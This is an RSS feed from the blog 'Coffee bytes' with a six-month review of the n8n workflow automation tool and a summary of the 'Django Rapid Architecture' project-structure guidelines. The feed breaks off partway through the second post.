<?xml version="1.0" encoding="utf-8" standalone="yes"?>

<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Coffee bytes</title>
    <link>https://coffeebytes.dev/en/</link>
    <description>Recent content on Coffee bytes</description>
    <generator>Hugo 0.148.1</generator>
    <language>en</language>
    <copyright>© All rights reserved.</copyright>
    <lastBuildDate>Sun, 01 Mar 2026 04:49:40 +0000</lastBuildDate>
    <atom:link href="https://coffeebytes.dev/en/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>My n8n review after using it for half a year</title>
      <link>https://coffeebytes.dev/en/opinion/my-n8n-review-after-using-it-for-half-a-year/</link>
      <pubDate>Fri, 27 Feb 2026 15:50:49 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/my-n8n-review-after-using-it-for-half-a-year/</guid>
      
      <category>n8n</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I&amp;rsquo;ve been using &lt;strong&gt;n8n&lt;/strong&gt; for a while now to automate processes on Facebook pages, websites, WhatsApp, and combining it with other tools. After this period of use, I think I can now share a somewhat clearer view of what this tool offers and whether it&amp;rsquo;s really worth it.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;ve been living under a rock or you&amp;rsquo;re new to the tech world, n8n is a pretty popular automation tool. Its main appeal is that it lets you create complex workflows in a very visual way: goodbye lines of code, hello nodes; it turns automation into a drag and drop game, here you just drag and drop boxes onto a canvas and connect them together.&lt;/p&gt;&#xA;&lt;div class=&#34;md-local-image&#34; style=&#34;width: 100%; margin: 1rem 0;&#34;&gt;&#xA;  &lt;video &#xA;    id=&#34;video-1772340585858644480&#34;&#xA;    &#xA;    controls&#xA;    data-autoplay&#xA;    loop&#xA;    muted&#xA;    preload=&#34;none&#34;&#xA;    data-src=&#34;https://res.cloudinary.com/dwrscezd2/video/upload/v1772238652/coffee-bytes/n8n-nodes_ts1qya.webm&#34;&#xA;    style=&#34;width: 100%; height: auto; border-radius: 4px;&#34;&#xA;  &gt;&#xA;    Your browser does not support the video tag.&#xA;  &lt;/video&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;script&gt;&#xA;  [&#34;DOMContentLoaded&#34;, &#34;htmx:afterSettle&#34;, &#34;htmx:historyRestore&#34;].forEach(event =&gt; document.addEventListener(event, function() {&#xA;  &#xA;  if (!window.videoObserver) {&#xA;    const loadVideo = (video) =&gt; {&#xA;      const source = document.createElement(&#39;source&#39;);&#xA;      source.src = video.dataset.src;&#xA;      source.type = video.dataset.src.endsWith(&#39;.webm&#39;) ? &#39;video/webm&#39; &#xA;               : video.dataset.src.endsWith(&#39;.ogg&#39;) ? &#39;video/ogg&#39; &#xA;               : &#39;video/mp4&#39;;&#xA;      video.appendChild(source);&#xA;      video.load();&#xA;      &#xA;      if (video.hasAttribute(&#39;data-autoplay&#39;)) {&#xA;        video.setAttribute(&#39;autoplay&#39;, &#39;&#39;);&#xA;        video.play().catch(e =&gt; console.log(&#39;Autoplay prevented:&#39;, e));&#xA;      }&#xA;    };&#xA;&#xA;    const observer = new IntersectionObserver((entries) =&gt; {&#xA;      entries.forEach(entry =&gt; {&#xA;        if (entry.isIntersecting) {&#xA;          const video = entry.target;&#xA;          loadVideo(video);&#xA;          observer.unobserve(video);&#xA;        }&#xA;      });&#xA;    }, {&#xA;      rootMargin: &#39;200px&#39;,&#xA;      threshold: 0.1&#xA;    });&#xA;&#xA;    window.videoObserver = observer;&#xA;  }&#xA;&#xA;  &#xA;  const video = document.getElementById(&#39;video-1772340585858644480&#39;);&#xA;  if (video) {&#xA;    window.videoObserver.observe(video);&#xA;  }&#xA;}))&#xA;&lt;/script&gt;&#xA;&lt;h2 id=&#34;what-exactly-can-you-do-with-n8n&#34;&gt;What exactly can you do with n8n?&lt;/h2&gt;&#xA;&lt;p&gt;In practical terms, &lt;strong&gt;almost anything&lt;/strong&gt;. The tool is incredibly versatile. You can have a process triggered by a specific event, like a message arriving on WhatsApp or Telegram, a new blog post via RSS, or even schedule it to run periodically (like a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/&#34;&gt;classic Linux cron job&lt;/a&gt;&#xA; I mentioned in another post).&lt;/p&gt;&#xA;&lt;h3 id=&#34;nodes-in-n8n&#34;&gt;Nodes in n8n&lt;/h3&gt;&#xA;&lt;p&gt;Everything in n8n revolves around &lt;strong&gt;nodes&lt;/strong&gt;. These are blocks with a single, specific function that you visually connect to build your automation.&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s a huge library of &amp;ldquo;out of the box&amp;rdquo; nodes for almost all popular services, very mainstream: WordPress, Google Calendar, Telegram, and of course, most social networks. Nodes do specific things like: send an email, run every &amp;ldquo;x&amp;rdquo; minutes, monitor an RSS feed every &amp;ldquo;x&amp;rdquo; seconds.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238513/coffee-bytes/nodes-menu-n8n_meeonp.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238513/coffee-bytes/nodes-menu-n8n_meeonp.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Node menu in n8n&#34; width=&#34;383&#34; height=&#34;529&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;There are also more low-level technical nodes for creating conditionals (&lt;code&gt;if&lt;/code&gt; statements), loops, direct HTTP requests, or even running your own code in &lt;strong&gt;JavaScript and Python&lt;/strong&gt;. Yep, you read that right, no Rust, Go, or other esoteric languages, just pure scripting languages to annoy the old-school devs.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238511/coffee-bytes/http-request-n8n_zrlgyh.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238511/coffee-bytes/http-request-n8n_zrlgyh.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;HTTP Request node in n8n&#34; width=&#34;415&#34; height=&#34;579&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;These nodes are joined so that the output of one (or more) becomes the input of the other(s), and the structure resulting from several connected nodes can simply be called a flow, which is stored in JSON format.&lt;/p&gt;&#xA;&lt;p&gt;You can watch a list flow as soon as you open the app.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772239025/coffee-bytes/flows-n8n_cb9psf.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772239025/coffee-bytes/flows-n8n_cb9psf.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;List of flows in n8n&#34; width=&#34;1196&#34; height=&#34;345&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;n8ns-support-for-ai&#34;&gt;n8n&amp;rsquo;s Support for AI&lt;/h3&gt;&#xA;&lt;p&gt;Additionally, n8n offers support for artificial intelligence. It has &lt;strong&gt;AI agent&lt;/strong&gt; nodes where you can connect &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/fine-tuning-a-llm-small-practical-guide-with-resources/&#34;&gt;your favorite LLM model&lt;/a&gt;&#xA; (OpenAI, Cohere, etc.) to act as the brain for a task. It allows the LLM to connect to predefined tools, such as scheduling an event, returning a text message, like in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;Model Context Protocol&lt;/a&gt;&#xA;, modifying an online Excel file, etc.&lt;/p&gt;&#xA;&lt;p&gt;As you may know, these tools are just &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/ill-help-you-understand-the-model-context-protocol-or-mcp/&#34;&gt;MCP servers&lt;/a&gt;&#xA; under the hood.&lt;/p&gt;&#xA;&lt;h3 id=&#34;database-support-in-n8n&#34;&gt;Database support in n8n&lt;/h3&gt;&#xA;&lt;p&gt;It also includes connectors to databases like Redis and tools that function as small servers to interact with external services.&lt;/p&gt;&#xA;&lt;h3 id=&#34;n8n-manages-your-credentials&#34;&gt;n8n manages your credentials&lt;/h3&gt;&#xA;&lt;p&gt;And not only that: it securely manages your &lt;strong&gt;credentials&lt;/strong&gt; (encrypted, no exposed environment files), so you don&amp;rsquo;t make the blunder of hardcoding them or leaving them in a file exposed to the outside.&lt;/p&gt;&#xA;&lt;h3 id=&#34;flows-in-n8n-can-be-exported&#34;&gt;Flows in n8n can be exported&lt;/h3&gt;&#xA;&lt;p&gt;N8n allows you to save your flows as &lt;strong&gt;templates&lt;/strong&gt; to reuse them or share them with colleagues or upload them to git.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238511/coffee-bytes/import-template-menu-n8n_ryscyv.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772238511/coffee-bytes/import-template-menu-n8n_ryscyv.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Menu to import and export flows in n8n&#34; width=&#34;158&#34; height=&#34;295&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;It also has a dashboard to &lt;strong&gt;monitor&lt;/strong&gt; all running flows, seeing which ones are working correctly and where errors occur so you can fix them instantly.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772239025/coffee-bytes/executions-logs-n8n_m4o0ex.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1772239025/coffee-bytes/executions-logs-n8n_m4o0ex.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Summary of flows in n8n&#34; width=&#34;1196&#34; height=&#34;441&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;can-i-use-n8n-without-knowing-how-to-code&#34;&gt;Can I use n8n without knowing how to code?&lt;/h2&gt;&#xA;&lt;p&gt;Yes and no. I don&amp;rsquo;t plan to lie to you with some fake aspirational spiel like &amp;ldquo;learn n8n in 24 hours and start making thousands of dollars,&amp;rdquo; but I&amp;rsquo;m also not here to dash your spirits by saying you can&amp;rsquo;t do it if you&amp;rsquo;re not tech-savvy.&lt;/p&gt;&#xA;&lt;p&gt;So what&amp;rsquo;s the deal? Look, my opinion is that if you understand the concept of a loop, an if/else condition, and you understand JSON format, you can already make very simple automations. To create something more complex, you&amp;rsquo;ll need to round out your knowledge. You need to understand the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;What a REST API is&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;What the differences are between a GET, POST, PUT, PATCH, OPTIONS, HEAD, DELETE request, what each one is for and when to use them&lt;/li&gt;&#xA;&lt;li&gt;What headers are in the context of an HTTP request&lt;/li&gt;&#xA;&lt;li&gt;What parameters are in the context of an HTTP request&lt;/li&gt;&#xA;&lt;li&gt;How authentication in third-party services works via tokens&lt;/li&gt;&#xA;&lt;li&gt;What a webhook is&lt;/li&gt;&#xA;&lt;li&gt;Knowledge of the most basic functions of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/javascript-vs-python-which-is-the-best-for-you/&#34;&gt;Javascript and/or Python&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You&amp;rsquo;ll probably have the bare minimum covered with that to start making things more complex. Also, I warn you, n8n is an automation tool. You&amp;rsquo;re not going to create the next unicorn with it, and I haven&amp;rsquo;t even mentioned how restrictive its license is.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-i-liked-most-about-n8n&#34;&gt;What I liked most about n8n&lt;/h2&gt;&#xA;&lt;h3 id=&#34;lots-of-functionalities-out-of-the-box&#34;&gt;Lots of functionalities out of the box&lt;/h3&gt;&#xA;&lt;p&gt;Without a doubt, the best part is the &lt;strong&gt;ease of creating simple automations&lt;/strong&gt;. The visual part is great, but the real value is that many services come &amp;ldquo;pre-configured.&amp;rdquo; You forget about having to deal with complex API calls or installing specific SDKs for each platform; most cases are already covered. You simply focus on the logic of your flow and plugging in the necessary API keys. The learning curve is very friendly.&lt;/p&gt;&#xA;&lt;h3 id=&#34;n8n-is-perfect-to-try-ideas&#34;&gt;N8n is perfect to try ideas&lt;/h3&gt;&#xA;&lt;p&gt;N8n is the ultimate test tool, you can test automation ideas in record time, easily and in a more visual way even if you have zero experience with code.&lt;/p&gt;&#xA;&lt;h3 id=&#34;easy-to-backup-and-replicate&#34;&gt;Easy to backup and replicate&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;strong&gt;JSON template system&lt;/strong&gt; also seems like a great feature to me. Being able to share a complex flow with a colleague without them needing the same level of technical knowledge speeds up teamwork immensely.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-didnt-quite-convince-me-about-n8n&#34;&gt;What didn&amp;rsquo;t quite convince me about n8n&lt;/h2&gt;&#xA;&lt;h3 id=&#34;high-overhead&#34;&gt;High overhead&lt;/h3&gt;&#xA;&lt;p&gt;But not everything is perfect. The main &amp;ldquo;but&amp;rdquo; I find is the excessive &lt;strong&gt;resource consumption&lt;/strong&gt;. Which is, from my point of view, quite exaggerated. The official recommendations ask for no less than &lt;strong&gt;4 GB of RAM, 2 CPUs, and 20 GB of SSD space&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I can understand that underneath there&amp;rsquo;s a server and infrastructure running, tons of installed SDKs, but for what is basically a flow manager, it seems excessive to me. I&amp;rsquo;m sure the same Python or JavaScript scripts that run those automations would run on less than half of these requirements.&lt;/p&gt;&#xA;&lt;p&gt;Consider that most small companies are probably running about 5-10 flows, a VPS with 4GB of RAM and 2 CPUs to run 10 scripts&amp;hellip; doesn&amp;rsquo;t convince me 100%, especially for minimalist startups with limited resources.&lt;/p&gt;&#xA;&lt;h3 id=&#34;manual-updating&#34;&gt;Manual updating&lt;/h3&gt;&#xA;&lt;p&gt;Another aspect that I don&amp;rsquo;t find appealing is that n8n requires manual updating. You have to go into the terminal, update the package, and restart the services. Yes, it&amp;rsquo;s true, you can schedule this update, but you run the risk that if n8n breaks something, your application will fail from one day to the next and you won&amp;rsquo;t even know why.&lt;/p&gt;&#xA;&lt;h3 id=&#34;people-overestimate-n8n-capabilities&#34;&gt;People overestimate n8n capabilities&lt;/h3&gt;&#xA;&lt;p&gt;Perhaps due to excellent marketing, people believe that n8n is a Swiss Army knife that completely replaces code, and so unrealistic expectations arise. No, n8n cannot serve the same number of requests as a dedicated server in Rust, Go, or any other low-level language. No, n8n is not a web scraper for concurrently scraping all the products of the largest e-commerce sites.&lt;/p&gt;&#xA;&lt;p&gt;N8n is good for automating tasks by non-technical people, no more no less, that&amp;rsquo;s all.&lt;/p&gt;&#xA;&lt;h3 id=&#34;n8ns-license-is-more-restrictive-than-people-think&#34;&gt;n8n&amp;rsquo;s license is more restrictive than people think&lt;/h3&gt;&#xA;&lt;p&gt;The other point that bothers me the most is the &lt;strong&gt;license&lt;/strong&gt; issue. Unlike many popular open-source projects, &lt;strong&gt;n8n does not use an MIT license&lt;/strong&gt;. In practice, this limits what you can do with it a bit. For example, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/n8n/comments/1mo4a5h/what_youre_selling_is_illegal_n8n_license/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;according to Reddit users, you are not allowed to host an n8n instance to charge clients for keeping their flows running&lt;/a&gt;&#xA; (an &amp;ldquo;automation as a service&amp;rdquo; model).&lt;/p&gt;&#xA;&lt;p&gt;What you &lt;em&gt;can&lt;/em&gt; do is offer consulting or implementation services, but not direct hosting. I understand that such an ambitious project requires a sustainable business model, but it&amp;rsquo;s a restriction to keep in mind if you&amp;rsquo;re looking for maximum freedom.&lt;/p&gt;&#xA;&lt;p&gt;I took this from a Reddit post, it&amp;rsquo;s not any kind of legal advice and take it with a grain of salt:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;✅ What you CAN do&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Use it internally within your own business for free.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Build automations for clients using their own n8n installation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Charge for workflow creation, setup, and maintenance, but NOT for hosting or “selling n8n as a service.”&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;🚫 What you CANNOT do&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Offer n8n as SaaS (Software as a Service).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Do white labeling (remove n8n branding and replace it with your own).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Charge customers to use “your” hosted instance of n8n.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Before blindly believing it, make sure to check &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.n8n.io/sustainable-use-license/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;n8n&amp;rsquo;s official license&lt;/a&gt;&#xA; here.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I&amp;rsquo;ve been using &lt;strong&gt;n8n&lt;/strong&gt; for a while now to automate processes on Facebook pages, websites, WhatsApp, and combining it with other tools. After this period of use, I think I can now share a somewhat clearer view of what this tool offers and whether it&amp;rsquo;s really worth it.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;ve been living under a rock or you&amp;rsquo;re new to the tech world, n8n is a pretty popular automation tool. Its main appeal is that it lets you create complex workflows in a very visual way: goodbye lines of code, hello nodes; it turns automation into a drag and drop game, here you just drag and drop boxes onto a canvas and connect them together.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>My Django Rapid Architecture short overview</title>
      <link>https://coffeebytes.dev/en/django/my-django-rapid-architecture-short-overview/</link>
      <pubDate>Mon, 15 Dec 2025 22:15:52 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/django/my-django-rapid-architecture-short-overview/</guid>
      
      <category>Django</category>
      
      <category>Software architecture</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The other day, I was browsing Reddit, and found an Architecture proposal for Django projects called &amp;ldquo;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/django/comments/1pko7q6/django_rapid_architecture_a_guide_to_structuring/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Django Rapid Architecture&lt;/a&gt;&#xA;&amp;rdquo;. It’s a small document with a few guidelines or principles. I’m fond of Django, and I think &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django is of the best tools out there that you should use&lt;/a&gt;&#xA;, so I read it and summarized it for you.&lt;/p&gt;&#xA;&lt;p&gt;Django Rapid Architecture is a collection of curated patterns and idioms. It aims to create maintainable Django codebases. The author claims it derives from 15+ years of experience and 100+ production projects.&lt;/p&gt;&#xA;&lt;h2 id=&#34;whats-wrong-with-djangos-default-architecture&#34;&gt;What’s wrong with Django’s default architecture?&lt;/h2&gt;&#xA;&lt;p&gt;Well, according to the author, Django’s “apps” are designed for reusable components, not project-specific business logic. Forcing all code into apps creates inflexibility: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-migration-tutorial-with-migrate/&#34;&gt;Migrations&lt;/a&gt;&#xA; make early boundary decisions irrevocable, which inhibits the flexible refactoring necessary for dynamic projects.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, apps prefer “vertical encapsulation,” which groups views and models according to features. For real-world systems with interconnected business domains and interfaces, this is not ideal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-to-structure-projects-according-to-django-rapid-architecture&#34;&gt;How to structure projects according to Django Rapid Architecture?&lt;/h3&gt;&#xA;&lt;p&gt;Instead of using Django’s default paradigm, structure by layers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;keep data (models/migrations)&lt;/li&gt;&#xA;&lt;li&gt;interfaces (HTTP views/management commands)&lt;/li&gt;&#xA;&lt;li&gt;Business logic (readers/actions) is separate.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765860078/coffee-bytes/django-rapid-architecture_dpxnza.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765860078/coffee-bytes/django-rapid-architecture_dpxnza.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django rapid architecture overview&#34; width=&#34;747&#34; height=&#34;747&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This “horizontal encapsulation” aligns with Django’s natural layering, avoids early architectural lock-in, and better models complex domains.&lt;/p&gt;&#xA;&lt;h4 id=&#34;remember-that-django-is-a-monolith&#34;&gt;Remember that Django is a monolith.&lt;/h4&gt;&#xA;&lt;h3 id=&#34;how-does-django-rapid-architecture-file-structure-looks&#34;&gt;How does Django Rapid Architecture file structure looks?&lt;/h3&gt;&#xA;&lt;p&gt;And how does that look in practice? Well, something like this.&#xA;The author talks about how we should embrace monoliths at first, since they’re less complex and more maintainable than microservices, and I agree totally.&lt;/p&gt;&#xA;&lt;p&gt;Introducing unnecessary complexity just for the sake of it won’t allow you to iterate fast enough, which is crucial in this rapidly changing environment.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-does-django-rapid-architecture-file-structure-looks-1&#34;&gt;How does Django Rapid Architecture file structure looks?&lt;/h3&gt;&#xA;&lt;p&gt;And how does that look in practice? Well, something like this.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;project/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── actions&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── some_domain.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── data&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── migrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   ├── 0001_initial.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       └── some_model.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── interfaces&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── management_commands&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   └── management&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │       └── commands&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │           └── some_management_command.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── http&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       ├── api&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       │   ├── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       │   └── views.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│       └── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── readers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── some_domain.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── settings.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── wsgi.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The thing here is just to remember that code is divided into actions, data, interfaces, and readers.&lt;/p&gt;&#xA;&lt;h2 id=&#34;layers-in-django-rapid-architecture&#34;&gt;Layers in Django Rapid Architecture&lt;/h2&gt;&#xA;&lt;h3 id=&#34;how-to-handle-data&#34;&gt;How to handle Data?&lt;/h3&gt;&#xA;&lt;h4 id=&#34;what-to-do-with-models&#34;&gt;What to do with Models?&lt;/h4&gt;&#xA;&lt;p&gt;Put all Models, yes, all models, inside a single app called data.&lt;/p&gt;&#xA;&lt;p&gt;Avoid ultra-large complex models with many methods; complex logic should be independent of models.&lt;/p&gt;&#xA;&lt;p&gt;Avoid inheritance other than Django’s Model, so every developer can just look at the model and understand what it does.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-about-business-logic&#34;&gt;What about Business logic?&lt;/h3&gt;&#xA;&lt;p&gt;Business logic code should live in plain functions with well-understood interfaces that operate on model instances, querysets, or plain values. Avoid complex inheritance, mixins, decorators, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-custom-manager-django/&#34;&gt;complex custom managers&lt;/a&gt;&#xA; unless it&amp;rsquo;s absolutely necessary.&lt;/p&gt;&#xA;&lt;h4 id=&#34;how-to-deal-with-readers&#34;&gt;How to deal with Readers?&lt;/h4&gt;&#xA;&lt;p&gt;Serving a Django response involves three key parts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Query: Built in the view using a queryset. It defines which DB rows/columns to fetch, applying filters, joins, and optimizations. Some logic may be in custom querysets.&lt;/li&gt;&#xA;&lt;li&gt;The Values: The data to be sent. Basic values come from model fields. Complex business logic often lives here, in model methods (e.g., get_absolute_url), transforming raw data into usable values for the response.&lt;/li&gt;&#xA;&lt;li&gt;The Projection: The final shaping of data for the client. For a JSON API, this is serialization into a dict/list. For HTML, it’s template rendering. Both use the values from step 2. This is where you decide the exact output format.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;types-of-functions-in-readers&#34;&gt;Types of functions in readers&lt;/h4&gt;&#xA;&lt;p&gt;I’m oversimplifying this; there are tons of examples in the original source, which I encourage you to read thoroughly. But the main types of functions to extract and transform data from a model are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Queryset functions encapsulate queryset constructions. Use composition and Higher Order Functions.&lt;/li&gt;&#xA;&lt;li&gt;Producer functions produce values from model instances, functions that receive an instance and return something.&lt;/li&gt;&#xA;&lt;li&gt;Projector functions, built on top of producers, return a dictionary that maps one or more names onto one or more values.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;actions&#34;&gt;Actions&lt;/h4&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;REST APIs&lt;/a&gt;&#xA; are complex and non-uniform. Therefore, we should forget about all secondary HTTP verbs and stick with POST and GET.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, we should make sure that a single URL maps to a single view, which responds only to GET or POST, not 